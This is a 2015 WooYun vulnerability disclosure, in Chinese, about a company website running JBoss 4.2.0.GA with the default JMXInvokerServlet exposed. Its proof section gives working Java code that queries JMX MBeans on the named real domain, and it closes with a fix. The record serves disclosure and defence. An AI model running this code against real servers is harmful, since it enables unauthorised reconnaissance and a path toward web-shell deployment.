当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127393

漏洞标题:某上市软件公司官网使用的服务器未删除默认部署的有危害的web应用

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-20 08:07

修复时间:2015-09-07 14:18

公开时间:2015-09-07 14:18

漏洞类型:系统/服务补丁不及时

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

未删除服务器默认部署的web应用。通过该应用,远程攻击者可部署web shell。

详细说明:

官网使用的服务器是JBoss 4.2.0.GA,默认部署的JMXInvokerServlet未删除。
通过代码远程访问该servlet(地址是/invoker/JMXInvokerServlet),可以达到同jmx-console一样的效果。

漏洞证明:

通过该代码可以获取JBoss服务器jmx上MBean的信息,分别获取的是JBoss的版本、BSHDeployer的启用情况和DeploymentScanner的启用情况,DeploymentScanner的addURL问题在很早就曝光过了。
调用MBean的方法同获取信息的方法类似,毕竟访问的都是jmx的MBean服务,在这里就不作示范了。

String url = "http://bsoft.com.cn/invoker/JMXInvokerServlet";	
String targetName = "jboss.jmx:type=adaptor,name=Invoker";
InvocationContext context = new InvocationContext();
context.setObjectName(new Integer((new ObjectName(targetName)).hashCode()));
Invocation invocation = new Invocation();
invocation.setInvocationContext(context);
invocation.setId(context.getCacheId());
invocation.setObjectName(context.getObjectName());

invocation.setMethod(Class.forName("org.jboss.jmx.adaptor.rmi.RMIAdaptorExt").getMethod("getAttribute", new Class[] { Class.forName("javax.management.ObjectName"), Class.forName("java.lang.String") }));
Object[] arguments = new Object[2];
//get the jboss version
arguments[0] = new ObjectName("jboss.system:type=Server");
arguments[1] = "Version";
/**/
/* get the BSHDeployer's state
arguments[0] = new ObjectName("jboss.deployer:service=BSHDeployer");
arguments[1] = "StateString";
*/

/*get the DeploymentScanner's state (addURL)
arguments[0] = new ObjectName("jboss.deployment:flavor=URL,type=DeploymentScanner");
arguments[1] = "StateString";
*/
invocation.setArguments(arguments);
invocation.setValue(InvocationKey.INVOKER_PROXY_BINDING,
context.getInvokerProxyBinding(), PayloadKey.AS_IS);
MarshalledInvocation mi = new MarshalledInvocation(invocation);
URL servlet;
try {
servlet = org.jboss.invocation.http.interfaces.Util.resolveURL(url);
Object value = org.jboss.invocation.http.interfaces.Util.invoke(servlet, mi);
System.out.println(" " + value.toString());
return;
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("something wrong");
}


获取版本信息

version.PNG


获取BSHDeployer的启用情况

捕获.PNG


修复方案:

将deploy文件夹下的 http-invoker.sar 删掉。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-07-24 14:17

厂商回复:

最新状态:

暂无